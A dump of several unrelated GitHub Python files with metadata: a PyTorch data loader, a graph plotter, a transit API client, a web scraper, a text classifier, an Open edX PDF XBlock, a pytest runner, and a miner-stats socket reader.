"python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.insert", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "util.config_to_name", "line_number": 9, "usage_type": "call"}, {"api_name": "cPickle.load", "line_number": 10, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.cdist", "line_number": 18, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 18, "usage_type": "name"}, {"api_name": "numpy.argsort", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 35, "usage_type": "call"}, {"api_name": "cPickle.load", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 68, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.cdist", "line_number": 83, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 83, "usage_type": "name"}, {"api_name": "numpy.argsort", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.nonzero", "line_number": 89, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.cdist", "line_number": 143, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 143, "usage_type": "name"}, {"api_name": "numpy.argsort", "line_number": 144, "usage_type": "call"}]}
{"seq_id": "15903281978", "text": "import torch\n\ndef get_datas(path, get_data):\n    datas, labels = get_data(path)\n    datas = torch.Tensor(datas).type(torch.FloatTensor)\n    labels = torch.Tensor(labels).type(torch.LongTensor)\n    return datas, labels\n\ndef get_loaders(path, batch_size, get_data_tr, \n    get_data_va=None, get_data_tt=None, \n    random=True, ratio=[0.6, 0.2, 0.2], \n):\n    da, la = get_datas(path, get_data_tr)\n    if get_data_tt is None and get_data_va is None:\n        lengths = [int(da.shape[0]*i) for i in ratio]\n        tr_da = da[0:lengths[0]]\n        va_da = da[lengths[0]:lengths[0]+lengths[1]]\n        tt_da = da[lengths[0]+lengths[1]:]\n        tr_la = la[0:lengths[0]]\n        va_la = la[lengths[0]:lengths[0]+lengths[1]]\n        tt_la = la[lengths[0]+lengths[1]:]\n    else:\n        tr_da = da\n        tr_la = la\n        if get_data_va is not None:\n            va_da, va_la = get_datas(path, get_data_va)\n        else:\n            va_da = torch.Tensor().type(torch.FloatTensor)\n            va_la = torch.Tensor().type(torch.LongTensor)\n        if get_data_tt is not None:\n            tt_da, tt_la = get_datas(path, get_data_tt)\n        else:\n            tt_da = torch.Tensor().type(torch.FloatTensor)\n            tt_la = torch.Tensor().type(torch.LongTensor)\n\n    tr_loader = torch.utils.data.DataLoader(\n        dataset=torch.utils.data.TensorDataset(tr_da, tr_la),\n        batch_size=batch_size,\n        shuffle=True,\n    )\n    if va_da.shape[0] < 2:\n        va_loader = None\n    else:\n        va_loader = torch.utils.data.DataLoader(\n            dataset=torch.utils.data.TensorDataset(va_da, va_la),\n            batch_size=batch_size,\n            shuffle=True,\n        )\n    if tt_da.shape[0] < 2:\n        tt_loader = None\n    else:\n        tt_loader = torch.utils.data.DataLoader(\n            dataset=torch.utils.data.TensorDataset(tt_da, tt_la),\n            batch_size=batch_size,\n            shuffle=True,\n        )\n\n    return tr_loader, va_loader, tt_loader\n", "repo_name": "roamInSpace/communicate", "sub_path": "this_data.py", "file_name": "this_data.py", "file_ext": "py", "file_size_in_byte": 1959, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.Tensor", "line_number": 5, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 6, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 28, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 33, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 34, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 37, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 52, "usage_type": "attribute"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 53, "usage_type": "attribute"}]}
{"seq_id": "19416613034", "text": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n\n\"\"\"\nScript to plot diagrams of assembly graph in polyploids.\n\"\"\"\n\nfrom collections import defaultdict\nfrom random import choice, sample\n\nfrom brewer2mpl import get_map\nfrom graphviz import Graph\nfrom matplotlib.colors import to_hex\nfrom more_itertools import pairwise\n\n\ndef make_sequence(seq, name=\"S\"):\n    \"\"\"\n    Make unique nodes for sequence graph.\n    \"\"\"\n    return [\"{}_{}_{}\".format(name, i, x) for i, x in enumerate(seq)]\n\n\ndef sequence_to_graph(G, seq, color=\"black\"):\n    \"\"\"\n    Automatically construct graph given a sequence of characters.\n    \"\"\"\n    for x in seq:\n        if x.endswith(\"_1\"):  # Mutation\n            G.node(x, color=color, width=\"0.1\", shape=\"circle\", label=\"\")\n        else:\n            G.node(x, color=color)\n    for a, b in pairwise(seq):\n        G.edge(a, b, color=color)\n\n\ndef zip_sequences(G, allseqs):\n    \"\"\"\n    Fuse certain nodes together, if they contain same data except for the\n    sequence name.\n    \"\"\"\n    for s in zip(*allseqs):\n        groups = defaultdict(list)\n        for x in s:\n            part = x.split(\"_\", 1)[1]\n            groups[part].append(x)\n        for part, g in groups.items():\n            with G.subgraph(name=\"cluster_\" + part) as c:\n                for x in g:\n                    c.node(x)\n                c.attr(style=\"invis\")\n\n\ndef main():\n    SIZE = 20\n    PLOIDY = 2\n    MUTATIONS = 2\n\n    indices = range(SIZE)\n    # Build fake data\n    seqA = list(\"0\" * SIZE)\n    allseqs = [seqA[:] for x in range(PLOIDY)]  # Hexaploid\n    for s in allseqs:\n        for i in [choice(indices) for x in range(MUTATIONS)]:\n            s[i] = \"1\"\n\n    allseqs = [\n        make_sequence(s, name=name)\n        for (s, name) in zip(allseqs, [str(x) for x in range(PLOIDY)])\n    ]\n\n    # Build graph structure\n    G = Graph(\"Assembly graph\", filename=\"graph\")\n    G.attr(rankdir=\"LR\", fontname=\"Helvetica\", splines=\"true\")\n    G.attr(ranksep=\".2\", nodesep=\"0.02\")\n    G.attr(\"node\", shape=\"point\")\n    G.attr(\"edge\", dir=\"none\", penwidth=\"4\")\n\n    colorset = get_map(\"Set2\", \"qualitative\", 8).mpl_colors\n    colorset = [to_hex(x) for x in colorset]\n    colors = sample(colorset, PLOIDY)\n    for s, color in zip(allseqs, colors):\n        sequence_to_graph(G, s, color=color)\n    zip_sequences(G, allseqs)\n\n    # Output graph\n    G.view()\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "tanghaibao/jcvi", "sub_path": "jcvi/graphics/graph.py", "file_name": "graph.py", "file_ext": "py", "file_size_in_byte": 2379, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 634, "dataset": "github-code", "pt": "78", "api": [{"api_name": "more_itertools.pairwise", "line_number": 34, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 44, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 65, "usage_type": "call"}, {"api_name": "graphviz.Graph", "line_number": 74, "usage_type": "call"}, {"api_name": "brewer2mpl.get_map", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.colors.to_hex", "line_number": 81, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 82, "usage_type": "call"}]}
{"seq_id": "42533179209", "text": "import urllib.request as request\nfrom urllib.error import URLError\nimport json\nfrom time import sleep\n\n\nSOUTH = 1\nEAST = 2\nWEST = 3\nNORTH = 4\n\n\nPROVIDERS_URL = 'http://svc.metrotransit.org/NexTrip/Providers?format=json'\nROUTES_URL = 'http://svc.metrotransit.org/NexTrip/Routes?format=json'\nDIRECTIONS_URL = 'http://svc.metrotransit.org/NexTrip/Directions/{route}?format=json'\nSTOPS_URL = 'http://svc.metrotransit.org/NexTrip/Stops/{route}/{direction}?format=json'\nDEPARTURES_URL = 'http://svc.metrotransit.org/NexTrip/{stopid}?format=json'\nTIMEPOINTDEPARTURES_URL = (\n    'http://svc.metrotransit.org/NexTrip/{route}/{direction}/{stop}?format=json'\n)\nVEHICLELOCATIONS_URL = 'http://svc.metrotransit.org/NexTrip/VehicleLocations/{route}?format=json'\n\n\ndef _try_request_open(req, attempts=5):\n    for i in range(attempts):\n        try:\n            response = request.urlopen(req)\n            break\n        except URLError as e:\n            if i < attempts - 1:\n                sleep(i)\n                continue\n            else:\n                raise e\n    return response\n\n\ndef _make_api_request(url):\n    req = request.Request(url)\n    response = _try_request_open(req).read()\n    return json.loads(response.decode(\"utf8\"))\n\n\ndef providers():\n    url = PROVIDERS_URL\n    return _make_api_request(url)\n\n\ndef routes():\n    url = ROUTES_URL\n    return _make_api_request(url)\n\n\ndef directions(route):\n    url = DIRECTIONS_URL.format(route=route)\n    return _make_api_request(url)\n\n\ndef stops(route, direction):\n    url = STOPS_URL.format(route=route, direction=direction)\n    return _make_api_request(url)\n\n\ndef departures(stopid):\n    url = DEPARTURES_URL.format(stopid=stopid)\n    return _make_api_request(url)\n\n\ndef timepointdepartures(route, direction, stop):\n    url = TIMEPOINTDEPARTURES_URL.format(route=route,\n                                         direction=direction,\n                                         stop=stop)\n    return _make_api_request(url)\n", "repo_name": "kjschiroo/lightrail", "sub_path": "lightrail/mtapi.py", "file_name": "mtapi.py", "file_ext": "py", "file_size_in_byte": 1962, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "urllib.request.urlopen", "line_number": 27, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 27, "usage_type": "name"}, {"api_name": "urllib.error.URLError", "line_number": 29, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 31, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 39, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 39, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "27940219602", "text": "import datetime\n\nimport requests\nfrom lxml import etree\nfrom mongoengine import *\n\nurl = 'http://zc.nipso.cn/search/page.shtml'\n\n\nclass custom_task(Document):\n    author = StringField(required=False)\n    cate = StringField(required=False)\n    img = ListField(required=False)\n\n\nclass pagelink(Document):\n    title = StringField(required=True)\n    url = StringField(required=True)\n    content = StringField(required=True)\n    link = StringField(required=False)\n    published = DateTimeField(default=datetime.datetime.now)\n\n\ndef get_body_info(url):\n    page_info = requests.get(url)\n    html = etree.HTML(page_info.text)\n    info = html.xpath('//div[@class=\"content-text\"]/p/text()')\n    content = ''\n    for i in info:\n        content += str(i).strip()\n    return content\n\n\ndef getAll(index):\n    parms = {\n        'page': index,\n        'limit': 10,\n        'setOrder': 'desc'\n    }\n\n    page_info = requests.post(url, parms)\n    html = etree.HTML(page_info.text)\n    titile_items = html.xpath('//tr[@class=\"tbody tbody-item\"]/td[2]/a/text()')\n    link_items = html.xpath('//tr[@class=\"tbody tbody-item\"]/td[2]/a/@href')\n    time_items = html.xpath('//tr[@class=\"tbody tbody-item\"]/td[4]/text()')\n    Titanic = html.xpath('//tr[@class=\"tbody tbody-item\"]/td[3]/text()')\n    for t in range(len(titile_items)):\n        if Titanic[t] is '无':\n            Titanic[t] = ''\n        titile = titile_items[t].strip() + Titanic[t].strip()\n        links = link_items[t]\n        published = time_items[t].strip()\n        main_body = get_body_info(link_items[t])\n        if len(published) is 4:\n            published += '-01-01'\n        page = pagelink(titile, links, main_body, published)\n        page.save()\n        print(titile + \"-----写入\")\n\n\nif __name__ == '__main__':\n\n    connect('zcnipso', host='127.0.0.1', port=27017)\n    for i in range(1, 137):\n        getAll(i)\n", "repo_name": "Crack-DanShiFu/pachong8", "sub_path": "zcnipso.py", "file_name": "zcnipso.py", "file_ext": "py", "file_size_in_byte": 1865, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime", "line_number": 21, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 26, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 26, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 41, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 42, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 42, "usage_type": "name"}]}
{"seq_id": "7682117430", "text": "import pandas as pd\nimport numpy as np\nfrom nltk.tokenize import word_tokenize\nfrom nltk import pos_tag\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.preprocessing import LabelEncoder\nfrom collections import defaultdict\nfrom nltk.corpus import wordnet as wn\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn import model_selection, naive_bayes, svm\nfrom sklearn.metrics import accuracy_score\n\nnp.random.seed(500)\n\nCorpus = pd.read_csv(r\"E:\\projecttrithuenhantao\\parin.csv\",encoding='latin-1') #encoding latin1 : các kí tự đặc biệt\ndataset = pd.read_csv(r\"E:\\projecttrithuenhantao\\parin.csv\",header=None)\n\n#step1 : chuyen doi cac tu ve dang chu thuong\nCorpus['text'] = [entry.lower() for entry in Corpus['text']]\n\n# Step2: words tokens. mỗi từ trong 1 câu là 1 mảng và tách thành từng từ .\nCorpus['text']= [word_tokenize(entry) for entry in Corpus['text']]\n# Step3 : xóa các stopwords\n# WordNetLemmatizer requires Pos tags to understand if the word is noun or verb or adjective etc. By default it is set to Noun\ntag_map = defaultdict(lambda : wn.NOUN)\ntag_map['J'] = wn.ADJ\ntag_map['V'] = wn.VERB\ntag_map['R'] = wn.ADV\n\n\nfor index,entry in enumerate(Corpus['text']):#index là số rows trong data, entry từng row, mỗi row là 1 câu)\n    # tạo ra 1 cái mảng trống lên lưu lại từ theo qtac.\n    Final_words = []\n    #\n    word_Lemmatized = WordNetLemmatizer()\n    # pos_tag function below will provide the 'tag' i.e if the word is Noun(N) or Verb(V) or something else.\n    for word, tag in pos_tag(entry): # cho chạy trong từng câu , xđ từng , kiểu thẻ tag\n        # kiểm tra các stopwords và trong bản chữ cái alphabet\n        if word not in stopwords.words('english') and word.isalpha():\n            word_Final = word_Lemmatized.lemmatize(word,tag_map[tag[0]])\n            Final_words.append(word_Final) # thỏa mãn thì append các word vô final_Words\n\n    # Tập mà các từ xử lí cuối cùng cho mỗi lần lặp,\n    Corpus.loc[index,'text_final'] = str(Final_words)\n    #print(Corpus)\nTrain_X, Test_X, Train_Y, Test_Y = model_selection.train_test_split(Corpus['text_final'],Corpus['label'],test_size=0.3)\n\nEncoder = LabelEncoder() # hỗ trợ đưa về mang vector\nTrain_Y = Encoder.fit_transform(Train_Y)\nTest_Y = Encoder.fit_transform(Test_Y)\nTfidf_vect = TfidfVectorizer(max_features=5000)\nTfidf_vect.fit(Corpus['text_final'])\nTrain_X_Tfidf = Tfidf_vect.transform(Train_X)\nTest_X_Tfidf = Tfidf_vect.transform(Test_X)\n#print('trainx',Train_X_Tfidf)\n#print('testx',Test_X_Tfidf)\n#print(\"vectorVC\",Tfidf_vect.vocabulary_)\n#print(\"len\",len(Tfidf_vect.vocabulary_))\n\n# phân loại NB trên tập data\nNaive = naive_bayes.MultinomialNB()\nNaive.fit(Train_X_Tfidf,Train_Y)\n# predict the labels on validation dataset\npredictions_NB = Naive.predict(Test_X_Tfidf)\n# dùng accuracy_score để tính accuracy\nprint(\"Naive Bayes Accuracy: \",accuracy_score(predictions_NB, Test_Y)*100)\n# dùng SVM\n# training data vs SVM\nSVM = svm.SVC(C=1.0, kernel='linear', degree=3, gamma='auto')\nSVM.fit(Train_X_Tfidf,Train_Y)\n# predict the labels on validation dataset\npredictions_SVM = SVM.predict(Test_X_Tfidf)\n# Use accuracy_score function to get the accuracy\nprint(\"SVM Accuracy:\",accuracy_score(predictions_SVM, Test_Y)*100)\n\n\ndataset.rename(columns={0: 'text', 1: 'label'}, inplace=True)\ndataset['output'] = np.where(dataset['label'] == 'emotion', 1, 0)\nNum_Words = dataset.shape[0]\nprint(dataset.head(778))\n\n\ncount=0\nfor i in dataset['output']:\n    if i ==1:\n        count= count+1\nprint('count',count)\n\n\n\n#print(\"\\nSize of input file is \", dataset.shape)\n\n\n\n\n", "repo_name": "sontran26700/AI", "sub_path": "SVM_NaiveBayes.py", "file_name": "SVM_NaiveBayes.py", "file_ext": "py", "file_size_in_byte": 3692, "program_lang": "python", "lang": "vi", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.random.seed", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 23, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 26, "usage_type": "call"}, {"api_name": "nltk.corpus.wordnet.NOUN", "line_number": 26, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 26, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.ADJ", "line_number": 27, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 27, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.VERB", "line_number": 28, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 28, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.ADV", "line_number": 29, "usage_type": "attribute"}, {"api_name": "nltk.corpus.wordnet", "line_number": 29, "usage_type": "name"}, {"api_name": "nltk.stem.WordNetLemmatizer", "line_number": 36, "usage_type": "call"}, {"api_name": "nltk.pos_tag", "line_number": 38, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 40, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 40, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 47, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 47, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 49, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.MultinomialNB", "line_number": 62, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes", "line_number": 62, "usage_type": "name"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 67, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 70, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 70, "usage_type": "name"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 79, "usage_type": "call"}]}
{"seq_id": "13362840669", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\" pdfXBlock main Python class\"\"\"\n\nimport os\nimport pkg_resources\nfrom django.template import Context\n\nfrom xblock.core import XBlock\nfrom xblock.fields import Scope, String, Boolean\nfrom xblock.fragment import Fragment\nfrom xblockutils.resources import ResourceLoader\n\n\ndef _(text):\n    \"\"\"\n    Dummy ugettext.\n    \"\"\"\n    return text\n\n\n@XBlock.needs('i18n')  # pylint: disable=too-many-ancestors\nclass PDFXBlock(XBlock):\n    \"\"\"\n    PDF XBlock.\n    \"\"\"\n\n    loader = ResourceLoader(__name__)\n\n    # Icon of the XBlock. Values : [other (default), video, problem]\n\n    icon_class = 'other'\n\n    # Enable view as specific student\n\n    show_in_read_only_mode = True\n\n    # Fields\n\n    display_name = String(\n        display_name=_('Display Name'),\n        default=_('PDF'), scope=Scope.settings,\n        help=_('This name appears in the horizontal navigation at the top of the page.')\n    )\n\n    url = String(\n        display_name=_('PDF URL'),\n        default=_('https://tutorial.math.lamar.edu/pdf/Trig_Cheat_Sheet.pdf'),\n        scope=Scope.content,\n        help=_('The URL for your PDF.'),\n    )\n\n    allow_download = Boolean(\n        display_name=_('PDF Download Allowed'),\n        default=True, scope=Scope.content,\n        help=_('Display a download button for this PDF.'),\n    )\n\n    source_text = String(\n        display_name=_('Source document button text'),\n        default='', scope=Scope.content,\n        help=_(\n            'Add a download link for the source file of your PDF. '\n            'Use it for example to provide the PowerPoint file used to create this PDF.'\n        )\n    )\n\n    source_url = String(\n        display_name=_('Source document URL'),\n        default='',\n        scope=Scope.content,\n        help=_(\n            'Add a download link for the source file of your PDF. '\n            'Use it for example to provide the PowerPoint file used to create this PDF.'\n        )\n    )\n\n    def load_resource(self, resource_path):  # pylint: disable=no-self-use\n        \"\"\"\n        Gets the content of a resource\n        \"\"\"\n\n        resource_content = pkg_resources.resource_string(__name__,\n                                                         resource_path)\n        return resource_content.decode('utf-8')\n\n    def render_template(self, path, context=None):\n        \"\"\"\n        Evaluate a template by resource path, applying the provided context\n        \"\"\"\n\n        return self.loader.render_django_template(os.path.join('static/html', path),\n                                                  context=Context(context or {}),\n                                                  i18n_service=self.runtime.service(self, 'i18n'))\n\n    def student_view(self, context=None):\n        \"\"\"\n        The primary view of the XBlock, shown to students\n        when viewing courses.\n        \"\"\"\n\n        context = {\n            'display_name': self.display_name,\n            'url': self.url,\n            'allow_download': self.allow_download,\n            'source_text': self.source_text,\n            'source_url': self.source_url,\n        }\n        html = self.render_template('pdf_view.html', context)\n\n        frag = Fragment(html)\n        frag.add_css(self.load_resource('static/css/pdf.css'))\n        frag.add_javascript(self.load_resource('static/js/pdf_view.js'))\n        frag.initialize_js('pdfXBlockInitView')\n        return frag\n\n    def studio_view(self, context=None):\n        \"\"\"\n        The secondary view of the XBlock, shown to teachers\n        when editing the XBlock.\n        \"\"\"\n\n        context = {\n            'display_name': self.display_name,\n            'url': self.url,\n            'allow_download': self.allow_download,\n            'source_text': self.source_text,\n            'source_url': self.source_url,\n        }\n        html = self.render_template('pdf_edit.html', context)\n\n        frag = Fragment(html)\n        frag.add_javascript(self.load_resource('static/js/pdf_edit.js'))\n        frag.initialize_js('pdfXBlockInitEdit')\n        return frag\n\n    @XBlock.json_handler\n    def save_pdf(self, data, suffix=''):  # pylint: disable=unused-argument\n        \"\"\"\n        The saving handler.\n        \"\"\"\n        self.display_name = data['display_name']\n        self.url = data['url']\n        self.allow_download = data['allow_download'] == 'True'  # Basic str to translation\n        self.source_text = data['source_text']\n        self.source_url = data['source_url']\n\n        return {'result': 'success'}\n", "repo_name": "appsembler/pdfXBlock", "sub_path": "pdf/pdf.py", "file_name": "pdf.py", "file_ext": "py", "file_size_in_byte": 4490, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "xblock.core.XBlock", "line_number": 24, "usage_type": "name"}, {"api_name": "xblockutils.resources.ResourceLoader", "line_number": 29, "usage_type": "call"}, {"api_name": "xblock.fields.String", "line_number": 41, "usage_type": "call"}, {"api_name": "xblock.fields.Scope.settings", "line_number": 43, "usage_type": "attribute"}, {"api_name": "xblock.fields.Scope", "line_number": 43, "usage_type": "name"}, {"api_name": "xblock.fields.String", "line_number": 47, "usage_type": "call"}, {"api_name": "xblock.fields.Scope.content", "line_number": 50, "usage_type": "attribute"}, {"api_name": "xblock.fields.Scope", "line_number": 50, "usage_type": "name"}, {"api_name": "xblock.fields.Boolean", "line_number": 54, "usage_type": "call"}, {"api_name": "xblock.fields.Scope.content", "line_number": 56, "usage_type": "attribute"}, {"api_name": "xblock.fields.Scope", "line_number": 56, "usage_type": "name"}, {"api_name": "xblock.fields.String", "line_number": 60, "usage_type": "call"}, {"api_name": "xblock.fields.Scope.content", "line_number": 62, "usage_type": "attribute"}, {"api_name": "xblock.fields.Scope", "line_number": 62, "usage_type": "name"}, {"api_name": "xblock.fields.String", "line_number": 69, "usage_type": "call"}, {"api_name": "xblock.fields.Scope.content", "line_number": 72, "usage_type": "attribute"}, {"api_name": "xblock.fields.Scope", "line_number": 72, "usage_type": "name"}, {"api_name": "pkg_resources.resource_string", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "django.template.Context", "line_number": 94, "usage_type": "call"}, {"api_name": "xblock.fragment.Fragment", "line_number": 112, "usage_type": "call"}, {"api_name": "xblock.fragment.Fragment", "line_number": 133, "usage_type": "call"}, {"api_name": "xblock.core.XBlock.json_handler", "line_number": 138, "usage_type": "attribute"}, {"api_name": "xblock.core.XBlock", "line_number": 138, "usage_type": "name"}, {"api_name": "xblock.core.XBlock.needs", "line_number": 23, "usage_type": "call"}, {"api_name": "xblock.core.XBlock", "line_number": 23, "usage_type": "name"}]}
{"seq_id": "45751925544", "text": "import pytest\nimport subprocess\nimport sys\n\nfrom pathlib import Path\n\nclass StudyReference(object):\n\n    def __init__(self, path, ref_path):\n        self.path = Path(path).resolve()\n        self.ref_path = Path(ref_path).resolve()\n\n    def run_and_compare(self, exe):\n        res = subprocess.run([exe, self.path])\n        assert (res.returncode == 0), \"The exec failed for study: \" + str(self.path)\n\n        out_path = self.path / \"input/bindingconstraints/\"\n        res = subprocess.run([\"diff\", \"-bur\", out_path, self.ref_path])\n        assert (res.returncode == 0), \"Wrong results for study: \" + str(self.path)\n\nstudy_list = []\nstudy_list.append(StudyReference(\"../resources/Antares_Simulator_Tests/medium-tests/039 Multistage study-4-Kirchhoff\", \"reference/39\"))\nstudy_list.append(StudyReference(\"../resources/Antares_Simulator_Tests/medium-tests/043 Multistage study-8-Kirchhoff\", \"reference/43\"))\nstudy_list.append(StudyReference(\"../resources/Antares_Simulator_Tests/long-tests/079 Zero  Power Balance - Type 1\", \"reference/79\"))\n\n\n@pytest.mark.kirchhoff\ndef test_kirchhoff_0(exe_kirchhoff_path):\n    study_list[0].run_and_compare(exe_kirchhoff_path)\n\n@pytest.mark.kirchhoff\ndef test_kirchhoff_1(exe_kirchhoff_path):\n    study_list[1].run_and_compare(exe_kirchhoff_path)\n\n@pytest.mark.kirchhoff\ndef test_kirchhoff_2(exe_kirchhoff_path):\n    study_list[2].run_and_compare(exe_kirchhoff_path)\n", "repo_name": "AntaresSimulatorTeam/Antares_Simulator", "sub_path": "src/tests/kirchhoff-cbuilder/kirchhoff_pytest.py", "file_name": "kirchhoff_pytest.py", "file_ext": "py", "file_size_in_byte": 1399, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 51, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pathlib.Path", "line_number": 10, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 11, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 14, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 18, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 35, "usage_type": "attribute"}]}
{"seq_id": "24118313399", "text": "#!/usr/bin/python\n\nimport json\nimport socket\nimport sys\nfrom stats import Stats\nfrom pprint import pprint\n\n\nclass EWBF(object):\n    def __init__(self, host, port, password):\n        self.host = host\n        self.port = port\n        self.password = password\n        self.connected = 0\n\n    def getData(self):\n        try:\n            # Create a TCP/IP socket\n            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n            # Connect the socket to the port where the server is listening\n            server_address = (self.host, self.port)\n            self.sock.connect(server_address)\n            self.connected = 1\n\n            command = \"{\\\"id\\\":1, \\\"method\\\":\\\"getstat\\\"}\\n\"\n\n            # Send data\n            self.sock.sendall(command)\n\n            # receive data\n            data = self.sock.recv(12000)\n\n            print\n            \"DATA: %s\" % data\n\n            # Close socket\n            self.sock.close()\n\n            return data\n\n        except socket.error as msg:\n            print(\"Socket error: {0}\".format(msg))\n\n    def getStats(self):\n        data = Stats()\n        data.type = 2\n        try:\n            summary_data = self.getData()\n            result = json.loads(summary_data)\n\n            summary_response = result[\"result\"]\n            total_hashrate = 0\n            data.version = \"EWBF\"\n\n            for gpu in summary_response:\n                # Speed\n                data.hashrates.append(gpu[\"speed_sps\"]);\n                data.power_usage.append(gpu[\"gpu_power_usage\"]);\n                data.fan_speeds.append(\"0\");\n                data.temps.append(gpu[\"temperature\"]);\n                total_hashrate += gpu[\"speed_sps\"];\n\n                # Shares\n                data.accepted += gpu[\"accepted_shares\"];\n                data.rejected += gpu[\"rejected_shares\"];\n\n            data.total_hashrate = str(total_hashrate);\n            data.online = self.connected\n        except:\n            